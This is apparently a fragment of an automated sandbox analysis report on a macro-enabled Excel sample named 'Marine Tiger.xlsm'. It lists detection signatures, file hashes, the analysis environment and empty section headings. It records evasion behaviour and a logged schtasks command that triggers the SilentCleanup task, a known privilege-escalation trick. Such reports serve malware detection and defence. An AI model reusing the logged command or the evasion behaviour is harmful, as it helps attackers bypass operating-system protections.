Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

HIPS / PFW / Operating System Protection Evasion:

Creates a process in suspended mode (likely to inject code)

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I

Jump to behavior

ID:	349782
Product:	CloudBasic
Start time:	08:16:43
Start date:	08.02.2021
Sample:	Marine Tiger.xlsm
Cookbook:	defaultwindowsofficecookbook.jbs
System description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Architecture:	WINDOWS
MD5:	18d6c58d438aa199c43cec6503ae2a6c
SHA1:	f2dbad3686195f07db9bac1aa7eba45120069ded
SHA256:	6c92ed33934d5a604f57aac4ff33252720354285291791bed88b6f3f15b9631d
Filetype:	Excel Microsoft Office Open XML Format document with Macro (57504/1) 54.50%

Name	Type	MD5	SHA1	SHA256
C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\E0EFE241-5146-4D5E-B9A0-B1624BA1283F	XML 1.0 document, UTF-8 Unicode text, with very long lines, with CRLF line terminators	0E15BC23323CD381098EFE33CBF70B05	99B6142771405950DB6454916C3A1ADC25027CD2	CCD077925137FCD7278CFB4810E8F5048B232BA2CCD452077BF00FB3B1F8147E
C:\Users\user\Desktop\~$Marine Tiger.xlsm	data	7AB76C81182111AC93ACF915CA8331D5	68B94B5D4C83A6FB415C8026AF61F3F8745E2559	6A499C020C6F82C54CD991CA52F84558C518CBD310B10623D847D878983A40EF

Analysis Report Marine Tiger.xlsm

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

HIPS / PFW / Operating System Protection Evasion:

Screenshots

Behavior Graph

Network Map